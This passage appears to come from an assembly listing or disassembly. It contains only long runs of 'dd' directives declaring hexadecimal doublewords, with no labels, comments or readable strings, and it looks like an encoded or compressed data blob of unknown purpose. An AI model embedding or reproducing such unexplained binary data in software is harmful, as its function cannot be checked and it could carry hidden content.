1FAC119Ch, 5F60971h, 0AC648EB5h, 0B4400D4Fh dd 8F4055BDh, 16EC01E8h, 0E0AF1052h, 7185F89Fh, 2C2A953Dh dd 0FA81284Dh, 0E1896BD4h, 7E16C469h, 0B10CF347h, 841F3EEAh dd 182E3EEAh, 9CE1310Ch, 0BEC00F3h, 5A12884h, 0BB00D89Eh dd 0FAA2B0B5h, 0C24087h, 383495Ah, 2AB4AD2Ch, 8439472Eh dd 3A064676h, 23418F87h, 0D4FB228Bh, 0D1FCC06Ah, 27E89AACh dd 0B84C2447h, 31F18B0Ah, 0EB039834h, 6255FB44h, 0FD0D21F9h dd 231500F2h, 7E1C35BFh, 0C9D0C541h, 0BECC9933h, 7041D97Bh dd 207B0274h, 61C9C05Ch, 1EFB5601h, 159DE738h, 25753064h dd 10C726D9h, 0F6005C4h, 31D0945h, 4912FF16h, 0D034D044h dd 4E300E12h, 0B6891490h, 5FF312E4h, 0EC19D093h, 8A0B5545h dd 0C26D20ACh, 34ECDC38h, 0F1B96CEBh, 18C00427h, 906FE9A3h dd 2BC0167Ch, 0F6F0297Ch, 0BC782008h, 94B18C94h, 0C41835D1h dd 1EF9E202h, 0D1A28DEEh, 18627964h, 0E2FB26A6h, 47C90874h dd 0D8122828h, 0C5F7404h, 0B6BCEE41h, 68381033h, 0B2CA108h dd 0DC4BD832h, 0AF1601C4h, 6C79B2BCh, 7E9D129Ch, 3A8B2820h dd 0E9A979F8h, 23D43B6Bh, 55A0534h, 5C938272h, 24938D0h dd 95BCA0h, 0F9AF24B4h, 0CC5FF18Ah, 0BD0834BCh, 42AA8933h dd 6387E082h, 0D9774C00h, 603E510Eh, 48F4B9E0h, 7E89B835h dd 7554D482h, 0FFFA5600h, 72F024CBh, 1932188Ch, 0E94AF1F6h dd 5A7AFC80h, 0CCCE0142h, 0A9C03CADh, 74446A2Bh, 64A44B64h dd 54C5098Eh, 0FC402476h, 80C15F88h, 0D8B6B8E4h, 0A9B0C050h dd 900A6084h, 0C0EB547Bh, 76282902h, 7A0644D9h, 5F4E274Ch dd 0C2E46C00h, 472FBC3h, 277C109Dh, 16600B8Ch, 0C0D3EA47h dd 9F16646Ah, 187718F0h, 187A5EAAh, 5429D4F1h, 11E483Ch dd 0BA88EE42h, 0B8A482D8h, 0C8489404h, 7E58BFD0h, 0BD20A54h dd 0D120B3A5h, 83BD31BEh, 0C67FF941h, 96A82141h, 34067696h dd 80FEE988h, 84C6EBFCh, 205AF575h, 9EBFE041h, 60BB2B39h dd 6EDCA909h, 587470E6h, 0FB05E8B9h, 343193B1h, 0D075E994h dd 0C2EB4C60h, 0F744EA71h, 1E7780E8h, 96CABB0Ch, 4B8A30E4h dd 5CB8447Fh, 7644A80Fh, 8E24C0B8h, 8A0008C7h, 0D780D8BDh dd 44A706C5h, 69EDACAFh, 8A50C1D1h, 23658CBFh, 0BC828CC5h dd 0B41321CEh, 0CA9A3F4h, 54792C3Bh, 50D1104Dh, 3B4DFA00h dd 0FB69CB02h, 9034D4B9h, 0EB45FCC8h, 23CC3A6Eh, 0BA051F62h dd 58D45C7Ah, 901E6D80h, 7A00280Bh, 21D3ABF3h, 0E8CAACAh dd 0BB8A6A75h, 77506381h, 0BF7C4059h, 204F19FEh, 2023BCC2h dd 0D60B64A4h, 9F250700h, 455DA6ECh, 1CD90027h, 0F2DB67E6h dd 0AD161259h, 54A73C24h, 0B99E5700h, 33CCF383h, 10C9A720h dd 8B397DCEh, 0FA9010A2h, 25BFE23Dh, 0CC442D8Eh, 0E6E9420h dd 0ACF10DC1h, 4C2F4B90h, 0D9073D23h, 0EB204ADAh, 0E6E9164h dd 31FAD1F6h, 7C90A4B3h, 11E81F95h, 0EBE7803Eh, 13367A5Dh dd 0B8B7708h, 4693900h, 0F809F7A7h, 5115ED2Bh, 186BD914h dd 0CBCE005Fh, 0DCB84D1Fh, 3A02E1E8h, 0F932EF47h, 0AF946835h dd 0B66031CEh, 646D8F72h, 540017F8h, 2F7F7D33h, 0C1718D66h dd 85977659h, 3CC0EE37h, 2C9617CCh, 3A465Eh, 0B0F3D0DAh dd 0E932138Bh, 5F4536Ah, 0F41BD480h, 4680750Ch, 94AD122Fh dd 5BE4F0DAh, 570D1712h, 38622440h, 0B61CB974h, 89033948h dd 0F53E483Ah, 449C88Ah, 40604113h, 304024E4h, 86D44306h dd 0DF302A88h, 710922C8h, 21D92F41h, 8997FBB8h, 0C4474025h dd 0FD0A4684h, 616D8F0Ch, 2005D7ABh, 0E4C09921h, 0B92571B3h dd 829465AFh, 8DB34705h dd 0C6E522h, 7F4AAD2Dh, 0A710828Ah, 0DA404062h, 4C1C30Ah dd 3BD0B4D5h, 0F2001CB2h, 0D79525D9h, 378CB53h, 232C5A4Eh dd 310232BAh, 8D472538h, 0AEB478C6h, 5E9C96ECh, 1D002A46h dd 0F8029EFBh, 489EB632h, 0FD57F960h, 6410F149h, 6E2F5FFBh dd 0E4406889h, 0E274F472h, 40880071h, 64DF7825h, 0AA1DF1C0h dd 5840738Fh, 0C9CB3C2h, 76600062h, 1D394001h, 46777D7Ch dd 81084095h, 12258C38h, 0B1C010A3h, 702856B2h, 0E6CBA6B0h dd 0B8A4E803h, 4841D59Eh, 0C90B6868h, 0EC71B688h, 3960F47Bh dd 0DB2D199Ah, 1D681F88h, 0A008E149h, 0CF714231h, 0C2202117h dd 6732CBD0h, 606F4430h, 2DB6BC6h, 0D755F9B0h, 785011BFh dd 74CC7455h, 583F6324h, 116CB25Dh, 80049F3Ch, 11514A69h dd 0AB005584h, 4B218207h, 0D528A18h, 567519A2h, 1AD02019h dd 0A1608901h, 51224011h, 53551880h, 0A0219813h, 3E891E3Ah dd 18A3EA1h, 648615A5h, 4BF0121Ch, 831A1D57h, 87040051h dd 981DA521h, 21C590Ch, 10288Ch, 7A85D83h, 1FAE589Bh, 0AD673418h dd 0E46E5640h, 535A0078h, 0BB218F18h, 13009907h, 3D2E790Ah dd 5034561Ch, 63140422h, 3A18006h, 244007E0h, 711F6003h dd 1E538356h, 33A15879h, 4AE31271h, 21621874h, 0A34884E0h dd 0DB8D1A08h, 5075E152h, 38465DC5h, 7A88C080h, 8D03A265h dd 1AE5220h, 87511C0Dh, 0BB330F3Fh, 6D1B8DE8h, 22F4387Ch dd 40126517h, 66A00071h, 767927A9h, 34491C00h, 217C5025h dd 7A21F72h, 0E14E5977h, 6649D07Fh, 506478C0h, 216313ADh dd 88904075h, 589C3100h, 22623DA0h, 0E770085h, 214D558Dh dd 128E787Ch, 1F1D4C76h, 923C2B0Ch, 85B40414h, 46234243h dd 8F54486Fh, 0A4D12DF1h, 5F2230C4h, 18C4AC9h, 86C29460h dd 0D019A4B9h, 71616B0Bh, 1774088Ch, 48B214AEh, 9413104Bh dd 27D1FE25h, 68A9A560h, 95434650h, 5821F0C3h, 0B4AD2D65h dd 10A5E960h, 0C4C9E6C3h, 0AEB97759h, 4720DC31h, 0AC425816h dd 6061AC5Dh, 16F96AFh, 7C40C03Dh, 4A82B413h, 7A984553h dd 0E883217h, 0DCF22C89h, 0D1E460CDh, 8C30E828h, 0E586C359h dd 94353729h, 161698C2h, 59B2D546h, 0A4CD231Ch, 210EA851h dd 0C305291h, 2B806E1Ah, 905C9AD3h, 1BC822CCh, 0B9F20D12h dd 8C0970BDh, 784859E6h, 0F930A9h, 4BF986BFh, 0D6D0812Fh dd 68123FC9h, 8F179CE2h, 774088E1h, 1286060h, 95FA2F1h dd 4C5986B9h, 0D444944Bh, 0E97940h, 406EACAFh, 0B32FB15Eh dd 0A9D80260h, 0AACAF61h, 0D780249Eh, 0AD738971h, 98505544h dd 0BF41E9E0h, 86972880h, 170AFB47h, 0B006B6B9h, 40B128BCh dd 2E09F1FEh, 1A8BC6AFh, 0CC443304h, 0DC2A5922h, 0E90F4550h dd 1DC9B100h, 1088294Bh, 48868A1Eh, 4A04149h, 0E28B471Ah dd 20CA459h, 12195132h, 1C2AEE0Dh, 82892C11h, 1DB44830h dd 5C416141h, 9700134Dh, 1C321785h, 300A4054h, 39486887h dd 7B9C943Ch, 158407FFh, 0FBC1D8A8h, 661BDED5h, 2F9DA09Ch dd 8CA097C0h, 0DA48525Fh, 6BCD09Ch, 651B01F5h, 0F26112E0h dd 0D5340072h, 53C21377h, 39D61519h, 2CE21A48h, 25817E28h dd 33141FE2h, 155CC050h, 0C13BD8D7h, 72C18821h, 33F0Bh dd 278633DBh, 40482A18h, 95883D9Eh, 81335BFBh, 0E7C17960h dd 4423390Ch, 0C512Bh, 1232FC56h, 5361E3AEh, 8164B338h dd 0C748BE88h, 461B60Ah, 0BC60AC09h, 0A19FF9DFh, 4780E4BFh dd 0D938A2F0h, 2CBD441h, 2E9CE113h, 4810C5D0h, 1960AEB3h dd 48013D71h, 10043A48h, 641C29F5h, 17C7D33h, 0D4F35BCCh dd 0F4FB412Dh, 10060826h, 1F3869ADh, 2B320108h, 52CBBD8Ah dd 67FCEC17h, 4CAEA87Fh, 44B8B060h, 0A4262877h, 40F844E0h dd 0C84880F5h, 0AC6F7F6h, 64F0C8ABh, 10F4F996h, 0D4A948FBh dd 7C044480h, 0B73032FFh, 0BE3C4880h, 9A427A9h, 77BFD898h dd 2D2C523Ah, 0FDA8209Bh, 0CF0CC1BCh, 921E1B21h, 0F500D0D9h dd 3F49C9F1h, 178449D8h, 29016F7Ch, 0D22A8748h, 94157184h dd 1004F003h, 928F71C0h, 4545ECFh, 0C0C575ECh, 0DA78F42Bh dd 31F9AE03h, 0C88746B3h, 0FB3ECEBBh, 9C04091h, 85BD0A78h dd 9046D720h, 4410A408h, 0B30052DFh, 2FC7BF66h, 12344FAFh dd 0D1D8D443h, 6FF6EAA8h, 10F1F009h, 0A8687374h, 0B04377BCh dd 6082172Ch, 3C7CF2ABh, 0E5AE009Eh, 0D0B3B2F6h, 0C04FF66Fh dd 6DA3C0B0h, 2C90CB3Fh, 0BED944h, 6F7D28F0h, 0A0DF16F1h dd 9A4CE401h, 259D3291h, 17C07980h, 0F0D75CF1h, 2FDCC81Dh dd 0DAF20C0Bh, 1C6E49C0h, 59DAA91Ah, 0E20C882Fh, 0F1026011h dd 0EBE9A010h, 6B0C4172h, 9217D44Ch, 0B02882A8h, 69F18C60h dd 6402212Bh, 84604F3Dh, 0CA0C98Fh, 52EC09ADh, 562492BFh dd 4E73411Ch, 3F21FC29h, 0B61FB8EEh, 36555A77h, 54A8B14h dd 30043138h, 0C52730F1h, 0FEB888D3h, 0FAF2488h, 86FB53F5h dd 200C89A0h, 0BC0BE18Ah, 0D22A9969h, 7676DCh, 0ECA53612h dd 238F797Bh, 1C9A4072h, 68426BA2h, 469D2817h, 45E81A90h dd 1767250Ah, 0AD3E2CD9h, 1698E420h, 8414AE8h, 72807C68h dd 440115BCh, 0F08012FCh, 0E41C327Eh, 97D2B18h, 2CB45A6Ch dd 8A36C40h, 332E98A4h, 0DB45F065h, 50CF0C44h, 6318F322h dd 7C5C8169h, 8C6ABC88h, 28F34F00h, 0B1A682ACh, 9E411393h dd 919C9022h, 1E0F32A5h, 60481003h, 1760C09Ch, 0B4BC0521h dd 20D463F0h, 0C10EEE80h, 950BC803h, 0D98DFF9Ch, 443E8E32h dd 0EAAE67BCh, 0E6682842h, 124742Eh, 0D00F469Ch, 78CE0F33h dd 4278F8F1h, 0AF10E028h, 0CC5509F0h, 10544937h, 0D0383943h dd 0E247B477h, 8BA8001Fh, 0C44CFFA9h, 644E0591h, 0A0E82C85h dd 7C8C07B8h, 2D9D2A9Ch, 5FAC07C4h, 0A087C0F3h, 468B13CAh dd 2DB9FF12h, 97A694C8h, 0AC127C38h, 9BAA1F0Eh, 10E3C037h dd 86DFF36h, 31900DF5h, 0CFACED2Dh, 3760F88Eh, 0EA86F6FEh dd 78EC9409h, 74187A9Eh, 6E30001Dh, 0C49D655Ah, 2C1DA946h dd 48003ACCh, 4596BD18h, 0B323257Ch, 0FB0DBC68h, 720FB9DEh dd 381918D9h, 0DB3D0019h, 776AA299h, 2D0143ECh, 0A0C66894h dd 0CB2EA9E2h, 0C0068840h, 8A857843h, 6CF2401Fh, 0BECB641Eh dd 361C2228h, 0B92303C0h, 0FB0539B6h, 7DB1FD98h, 32A2CCFCh dd 0DAD96422h, 98AB0004h, 0D3387B51h, 1D00926Ch, 0E0BFDD2Ch dd 59D88F66h, 5600EC23h, 69599FC8h, 0AC13A177h, 0A40549FEh dd 0A4C9E70Dh, 808456DAh, 0DB2B55FAh, 0B001670h, 0B4CABD57h dd 0E0216Ah, 8E711986h, 5A70D613h, 3E0C2618h, 3F2FE39h dd 9C9960F6h, 0DD9069E0h, 0B9177E28h, 988B521Fh, 5F03A3DFh dd 0C10BC563h, 407EDA74h, 0D423C664h, 0D0A02738h, 0EC3D6F70h dd 0BAFD8F16h, 6BAF800Ch, 5A124DFh, 0D637823h, 88B4B8F0h dd 13126345h, 0ED0812ADh, 21DB880h, 0ABF6797Fh, 90775C91h dd 0F69FD060h, 425E2FE5h, 265C80B0h, 80E40D5Ch, 648A9E8Ch dd 0B4A20093h, 0FC58DA72h, 892F601Eh, 0E4B4E5B2h, 0BDD8603Ah dd 75CF0456h, 0C82BC10Fh, 37055E90h, 7B7853A3h, 2B742C82h dd 50178078h, 0C8D29E7h, 23282B2Bh, 61F10036h, 8323A889h dd 1CBE3A7Bh, 67DD1600h, 1F7BFA3Fh, 62F30D62h, 534DDA02h dd 0E0822F15h, 80C1BA5Ch, 0C97C8B23h, 0DA00A090h, 0FEBD49E6h dd 2348679h, 0B7DD1036h, 4CE4CE72h, 0C0B46D97h, 0D9C79F4Fh dd 0E755B600h dd 0F0951D8Eh, 0B0FA84h, 9BA0B303h, 13412E7Dh, 0CF0CDA00h dd 2A896A06h, 28327448h, 358DCF3h, 12757394h, 0C4E38AF9h dd 46971917h, 17323CD0h, 0F0820347h, 33BF232Fh, 0ED5B192Fh dd 0CB19C0B8h, 5202F380h, 0DAE09510h, 7287CA7h, 0D1BE0664h dd 0F932C9CCh, 0B57C6766h, 78B238B6h, 0A871A51Dh, 0ED186B59h dd 47975400h, 3757B553h, 0B80463E6h, 29007B2Ah, 0B3EBDCF1h dd 0FD6AB3Bh, 0BF62E3BEh, 0A4219E64h, 0B10744D8h, 5AD2DD70h dd 9B7F273Fh, 34D9B001h, 3124C200h, 1160B800h, 895BFFD0h dd 6F7E008Bh, 93D21041h, 951D17F4h, 0B4262486h, 81F6F582h dd 4A407A40h, 0D0A276h, 5EB60DFDh, 331204Eh, 5BF71B64h dd 4084D8BDh, 7060E379h, 3FC84CE5h, 0F872D300h, 0B98990A9h dd 0BEFFDB00h, 165B6C41h, 0F9640266h, 2B68A080h, 19004052h dd 51AA050Ah, 528906h, 0B33F28FBh, 707EDB94h, 0D1955907h dd 3D9308Ah, 88159EE7h, 3CAF60E0h, 7504B2C8h, 80079FCDh dd 79CC2624h, 6AE27200h, 8D09C5A3h, 120DF074h, 0B863EDCFh dd 290C811Ch, 0F7409C94h, 726F3222h, 0A3EA0001h, 0F3529F89h dd 4B03C70Dh, 0A9FF953Dh, 1498A627h, 90A0188Dh, 2B2CCC5Fh dd 4C7C2CBFh, 0E747977h, 7B0C94D5h, 0BB8964C0h, 8E4BD975h dd 0CDB8D800h, 0C3DAEh, 86976A42h, 0D2BB91B2h, 4989B28h dd 1156DC37h, 45B280FBh, 9A67E7h, 25D9AE4Eh, 4AE8A83Fh dd 1F289100h, 83A10B05h, 2B3E0092h, 22BB1011h, 25F0989Ah dd 7D1F3403h, 0EB1D14D7h, 0C6283A92h, 40314098h, 0C06D2B9Ah dd 0A0EF7031h, 0C07CB8BAh, 81713B61h, 52F89ED2h, 8C295400h dd 0F28B6185h, 999D003Ch, 402FF8D6h, 0AC00C011h, 0A642205Eh dd 7AA2E8h, 0F9D9943Bh, 35113423h, 0B5502D73h, 51C16144h dd 0A918A665h, 38C73181h, 802A5CB8h, 98951380h, 7C9288CAh dd 3054303Ch, 7C129D18h, 0F81CB40h, 909ED8A8h, 0C3F04980h dd 8D05ECEBh, 221858BBh, 96639421h, 5EBA309Dh, 0C0A40C14h dd 0A80D3810h, 708C4365h, 2CFC2F3h, 0CC92F3DEh, 0B4030437h dd 0E1D340FCh, 0B8476471h, 5C3353C1h, 0DB349440h, 0D2A93C5Ah dd 8040FCCCh, 90E30171h, 9E5C98A0h, 0FF299047h, 48017484h dd 0B4D18E27h, 0BC829D20h, 0CF00D779h, 8B25AC8Ch, 0EC644Bh dd 27AA8EF2h, 331129C1h, 4C31E300h, 13BA3A8Ah, 34E8003Ch dd 772E7151h, 24072772h, 91BBE984h, 0A7C11990h, 0ED44006Bh dd 0B4C5802Ah, 8B01A9B5h, 795C5D4Eh, 0BE0B68Fh, 48F50704h dd 0E0039588h, 0C1C4657h, 8902DD73h, 2220F3F0h, 0AC8CA0F2h dd 0DBE64Eh, 25515583h, 3377C02Dh, 51F7232Eh, 0F0854001h dd 89D07275h, 2EFF0AA4h, 16A4442Ch, 0A9BE005Fh, 0EBE28B13h dd 2AE91900h, 391B3643h, 4FAE00DCh, 0EEE0CE41h, 2C002F81h dd 25DD84BFh, 0E5F8CFDh, 69522A9Eh, 0D5C05D40h, 0A800B805h dd 0A4C600Bh, 7AC7EEh, 3D49D662h, 2B2E10F9h, 3216930Eh dd 60C64FF2h, 4E3A0DA8h, 0BAA00A9h, 0E841D3C1h, 0B5B88243h dd 0E2164906h, 1C10A0h, 9E06FD80h, 0E3F30F5Ah, 11AD8B00h dd 64B082F0h, 0A20B0062h, 267795BFh, 0CE015527h, 1E2E11A9h dd 62E8D539h, 0A3CB0029h, 0F2F86C05h, 4E059117h, 60AB8011h dd 1E988800h, 156F9246h, 849E9340h, 74A91C0Eh, 0C381C860h dd 6D00B72Ah, 0DED50365h, 4A185FDh, 6B72A729h, 39CFD0E5h dd 0B71D9470h, 78C612C0h, 5C6046D4h, 42003684h, 7B1860C4h dd 0ED00F617h, 0A7AF0DEAh, 0EC4FB4h, 0E98BF0EBh, 0C1281A2Dh dd 61544100h, 15180A69h, 4B5E00C4h, 0F6C9278h, 0FDF0E431h dd 253F2301h, 2D9AB568h, 72D48C20h, 0C0EE00CFh, 0EDA18FAh dd 2804151Dh, 0CA97EC66h, 3AE83C90h, 0DAA730B2h, 562B5811h dd 0DF360C18h, 92610B31h, 3F5C1210h, 0F12C0F76h, 0C55EA701h dd 2908F770h, 9A82E7Eh, 4000F509h, 4A1B5E63h, 6230820Ch dd 6828F0h, 0CF1CB46Fh, 0D86BA324h, 8CD4D100h, 0FD0949B6h dd 61E40E63h, 81E0E7D3h, 1AF6754Bh, 8068123Ch, 0A29854D7h dd 0E47CCF46h, 0DB0B07C3h, 431A03C9h, 0DFB02B4h, 0EC8040B5h dd 0AF31D090h, 0B959900h, 59C8E8FBh, 80A038B7h, 0C6EA1E00h dd 2ECD5D5Bh, 0D50E9F0Fh, 6E552078h, 0EE24283Fh, 5A6D003Dh dd 0F02B5EABh, 0E490EB80h, 0BD0D2200h, 4C30A94Ah, 0DBAF0078h dd 99DF2792h, 0EA01A59Dh, 48BBF1D2h, 6DFD9367h, 0E85ADE4h dd 99080EB8h, 8D2E3AC0h, 470F76B9h, 8FFEB2FDh, 0BBD204Ah dd 92152Fh, 8571B3F9h, 0C4E96A98h, 10CBED2Ch, 367C3D00h dd 1197E41h, 305E2191h, 4051766Ch, 6BD2C4CCh, 0EA53B801h dd 94D4F7F1h, 4D34E0h, 12BE8FC2h, 9CB6ABDCh, 0A224171Eh dd 6C4400FEh, 0F1F44290h, 6D2F00EEh, 541BADE7h, 74004EA0h dd 87CD711Ah, 1E6A14Bh, 99610997h, 0F88A73E1h, 2E7A3BC9h dd 0B6438600h, 0B075E5B7h, 0BA0D03F0h, 153C16A2h, 5394100h dd 4FEDA5E1h, 1A80307Ch, 0ACF50748h, 0A30096E8h, 0C2FA8260h dd 28DEC02Fh, 9B0AB0h, 75704871h, 97ACCDFDh, 0CF00A575h dd 5F4AAAF8h, 89B09h, 0F57E8A93h, 33A21947h, 0C22B9E02h dd 0E011F458h, 52C176h, 0FA5B99E2h, 4B367A50h, 94844A01h dd 79402708h, 71B26ECh, 3B022053h, 744D6354h, 22A54803h dd 255034Ch, 382A8D11h, 0DE60C147h, 0EE005791h, 0FF7F114Ah dd 7AD5E2B1h, 2FEF078Dh, 733C252h, 831580E4h, 0D32E71DEh dd 88004442h, 93EEB9C4h, 0BE3F5CC2h, 6035939h, 0A56B665Dh dd 0E1087098h, 8DA9C401h, 460A2913h, 166E21FCh, 419DD517h dd 0BAE3668Ch, 0B4BC208Eh, 948659h, 87C1EB6Dh, 61EAA2h dd 0AFA71852h, 5BEDC0D5h, 8101FAF4h, 2816CCD1h, 78344590h dd 0E1C32664h, 4E843EC0h, 8069333Eh, 13EB5378h, 0A3EFB704h dd 11C0B81Ah, 27289Bh, 0BC922F79h, 0F570A595h, 43018AFAh dd 8B04E246h, 96DC8D62h, 2DF20215h, 1A796BCDh, 0C0DEF1E1h dd 0A49874C1h, 0D6120424h, 0DCA8D803h, 6C00099h, 3C611323h dd 48003578h, 79FB4B0Dh, 2C7354h, 85490C71h, 2D3426DFh dd 7C140400h, 0B55B436Ch, 0DD10029h, 52166D73h, 0DF788CBEh dd 0A8A074B0h, 0A676F536h, 0DBFA9C00h, 31B66BD3h, 78B7009Bh dd 0B365C430h, 7F5808C2h, 853DDFh, 1171956Bh, 1E5316Ah dd 0BA7EE155h, 0FC8C24E2h, 7900580Bh, 390A16EAh, 0C4F160h dd 0C72C65CDh, 7D1A5523h, 671F667Dh, 2DC029FBh, 0CF528769h dd 38E500DBh, 0DE560DA0h, 0CA1678B6h, 0CC4359D2h, 0E8C10A20h dd 0E344E60h, 0C912239Fh, 3C0E78CBh, 97182A60h, 7D244644h dd 1400BCF9h, 0F3BD804Dh, 0FEC400B6h, 0A477BA3Fh, 0C20B29D4h dd 158A70Ah, 0A5E9F314h, 0AC74BEE5h, 39E203D4h, 0DAED3679h dd 7FA80E26h, 4FB5FE01h, 4E20E053h, 8ED70049h, 0E4ED5A6Ah dd 0D100D450h, 0FB476B89h, 0A0EE56E2h, 7FD8608h, 55DDEB27h dd 0B153016Fh, 0AB4C2048h, 5424771Ch, 4792167Bh, 2E52B85Fh dd 87A99880h, 54481D24h, 3511D6Fh, 2F8006B8h, 0B0AD2100h dd 67C73285h, 3F3C00ECh, 2FDF0766h, 0A7009C13h, 4E9D035Bh dd 711CFAh, 0E95967DCh, 0F044623Ch, 70802637h, 19D3CF87h dd 4887A247h, 31F04198h, 0F72154C3h, 50B3F967h, 147E4490h dd 57F04F71h, 0AE4E2400h, 973E85C7h, 3CD60567h, 5C61C0Dh dd 6DC468h, 0A014162Ch, 0F400B4B6h, 919ED063h, 0CC1031h dd 0F8F7C23Bh, 83E84CC1h dd 68469201h, 0FCDCD012h, 78582Dh, 9ACEA7F4h, 2FA66F02h dd 0A59C2401h, 1B8506C5h, 12882980h, 0E52241EAh, 4C6DE1Fh dd 39C02B05h, 21959C40h, 62A18A9Ch, 7E1A9988h, 0F05955C1h dd 7700E53Eh, 0A3C6853Fh, 3CCF2F1Eh, 2B0FF98Fh, 0CB87079Ah dd 62C16154h, 4408C9Eh, 0E149B4h, 9A24A95Bh, 6234457Fh dd 0B4189261h, 88434248h, 0E9CBF0h, 661CDCE0h, 58BBB8Dh dd 288C5002h, 816C70B3h, 0EB97F18Ch, 84302990h, 54485EB8h dd 24E5A242h, 0A0414B64h, 3F02F088h, 43EC7Eh, 838BA70h dd 3D375726h, 0A2B38A00h, 357DB082h, 0C0640B62h, 0E400183Eh dd 3F716532h, 5022F500h, 0B40112C2h, 3B390209h, 6590FB8h dd 42417CE8h, 1794B65Ch, 7C4717CEh, 2198DE4Eh, 361014h dd 35BEBF0Bh, 150589Ah, 9CA20FF0h, 0F09F22D6h, 591F80DCh dd 0C000948Fh, 0A02E27B8h, 0C4EC48B5h, 8E80853Fh, 3F2C02BBh dd 9526A54Dh, 9F1D6F81h, 71F41380h, 513562h, 3CD25D89h dd 3057DEA3h, 67562E1Ch, 55C7ED00h, 0F29D4Ah, 6C1C0FF5h dd 0E688FA73h, 52D48550h, 75287F02h, 60F02418h, 6C077ABh dd 7ECF601Dh, 0C2051C45h, 0E989E203h, 9FA8C8h, 0ED850987h dd 0A2D844C9h, 78027E01h, 0F0B8D95Ch, 1FAB430h, 0D3677208h dd 2CE13261h, 805B3D48h, 5769525Ah, 41DE60h, 6B14280Dh dd 0F1937C65h, 6FBCFD08h, 8A9500FEh, 88F40D3Ah, 725ECA14h dd 0D39600B8h, 9E3B4A34h, 0E6A8C15Dh, 0E40EA029h, 0C6006AF2h dd 33FE38FFh, 3FDD6EDBh, 71770688h, 0AC54001Eh, 2A93CA32h dd 757FB891h, 30B34D01h, 4F669F05h, 206428F9h, 0C8C201EFh dd 0B55802B1h, 0AA984084h, 0DA794F7Eh, 0CB8B1200h, 34DDE3D5h dd 0DEEC01C1h, 0F32482D2h, 7A51EC96h, 0ADA08C5Ah, 0F20B00BCh dd 0C066CB8Eh, 0C9EE1ED5h, 6B23C100h, 0A33790D0h, 365F0F57h dd 0CA4011ECh, 0C689D5FEh, 0D0B58F0Eh, 39F0A0FFh, 7FBE84E8h dd 4284A052h, 907407D8h, 0A2DB13h, 0C1F48DB2h, 676F3Eh dd 68D42D8Eh, 0B59A33h, 921C7E06h, 2746509Dh, 48281400h dd 7C452C3Ch, 24D6027Bh, 8064CEDDh, 803ECC0h, 8BA8BF00h dd 41929E8Fh, 37E5B8BEh, 0E0B89C06h, 0ABCC3697h, 506538h dd 27A774CFh, 0A45BECh, 761BF7D9h, 2C17D85Eh, 47F81100h dd 0FB1DEED6h, 0E4A0906Dh, 23100099h, 5BF14B76h, 0F6E8043Ah dd 9121E760h, 47A063h, 7523C24Eh, 0F8943022h, 390FC60Ah dd 8A00CF52h, 4734FA6Eh, 0D1CB0132h, 0C587975Ah, 147C34EBh dd 9CDC6F00h, 599326D4h, 5447001Ch, 3A0D1D06h, 510E4B23h dd 60B7686Eh, 0AEA9B1F4h, 3B68B059h, 0A63D0EF5h, 0E9F24201h dd 0E06E25EEh, 0C98CE55h, 0C3E46700h, 32E0D6CFh, 0BCAD10F8h dd 43D79B5h, 0B0020074h, 9AB80CA8h, 5D50341h, 0F9091556h dd 18C8D98h, 0FFEE7D12h, 0B5C97400h, 0A82332EDh, 34D621E4h dd 500FFEh, 69E1C5BCh, 0B40039DFh, 34E45A61h, 33691ACh dd 25AB37D2h, 0ADA8C0C5h, 454CDE99h, 0EA4000BCh, 0AC01F6E1h dd 0C0BF78A4h, 0A2BB19C9h, 0F8074A98h, 1E67E4B7h, 348417A0h dd 0DD60006Dh, 9124D593h, 57005A5Fh, 0E34974C4h, 0B816802Ah dd 9131220h, 0FA740045h, 0ACB4D63Eh, 0E8760807h, 0DB13E93Fh dd 8E3AE838h, 0A706124Ah, 0CC8C073h, 0BF0082BBh, 45A3BD5Eh dd 2B98D4Bh, 0FEE607F7h, 0A868CC85h, 603D478Bh, 0A48400E0h dd 9B83F972h, 0EC6D0122h, 0D12B6BBAh, 584BE7BBh, 0C30B3800h dd 0E84037h, 627AD9ACh, 517CF482h, 0D2AB9D01h, 32DE248Eh dd 0F8AC61BFh, 0F53700B9h, 0F096A0F3h, 69163DE0h, 6C433930h dd 0C765E8E4h, 59503190h, 904D00AFh, 0A6BFCE25h, 0BD041916h dd 0EF05DD14h, 7C474881h, 781F7CCh, 82A6DA25h, 43EA302Fh dd 8002F253h, 0D5EC6378h, 2CC885AFh, 74BC880Ah, 38A58900h dd 585F94h, 10D0C6C8h, 565A6870h, 5DACCA00h, 84BE0C9Eh dd 863703E8h, 8B19AFDEh, 0C8EAED98h, 0EDB39h, 0BBE23047h dd 5BE7291h, 5D29F3FAh, 71589016h, 0AB2731CDh, 83C883C4h dd 25B21390h, 889D0054h, 0E013DFF2h, 9589E807h, 0F021F3A2h dd 0CFC76858h, 20B29350h, 732C07EEh, 20DBFC2Bh, 9F4E91E3h dd 9C830500h, 1EF4265h, 371B243Ch, 0B9B40630h, 5F3C8072h dd 20DB812Eh, 53485773h, 82EC20h, 64243E7Fh, 79BDB698h dd 4C6F2C00h, 3C3281C5h, 9BFF037Eh, 0AEDFB274h, 0BC607FFAh dd 249007BFh, 10A69901h, 3C117ED9h, 97395080h, 8DB3B666h dd 85778003h, 9041EB19h, 741FF822h, 9979000Bh, 3915744Ah dd 2059180h, 64D7A7A9h, 251F5180h, 0F1B500CDh, 0BD8E33Ah dd 20075BEh, 1BFF27C9h, 79E81661h, 0DAF00377h, 0B0E768D6h dd 8EE55688h, 8920AA00h, 0B10699C1h, 4230E99Dh, 0B524003Fh dd 0EDCD6B63h, 0B4B0870Fh, 10BF9400h, 9B701A28h, 139C012Dh dd 97E3DBECh, 842CB6h, 0E49EAF82h, 0E7D5C8h, 76A7783Ch dd 0AEFCD08Dh, 0A598F500h, 5852B370h, 20E079h, 0D7CF3EA0h dd 191D5766h, 12697700h, 0C388B24Eh, 0E3EB2009h, 62594A1Fh dd 0BEF11D05h, 70B460D0h, 95E8A8DFh, 74A40191h, 0EE5328C1h dd 0EA7F20A8h, 0C50C040Bh, 14E820B6h, 90A40DB5h, 0F8FA00ECh dd 0CA347B4Fh, 3E006A0Bh, 962CD683h, 0A60C55h, 62EF4089h dd 8D3D30DFh, 0D62E7218h, 1E00478h, 0A56ACB58h, 20F2A36Eh dd 2F0430E1h, 0B2863334h, 0E267D480h, 6D0E24B4h, 29EB078Ch dd 0B02E34A7h, 1C00CA98h, 0A86FDD9Eh, 1799B180h, 4005588Fh dd 0ACFED0C8h, 396003F7h, 8D4AF431h, 0D0F664BCh, 5A7A47BAh dd 8840ED45h, 0CA77BCBh, 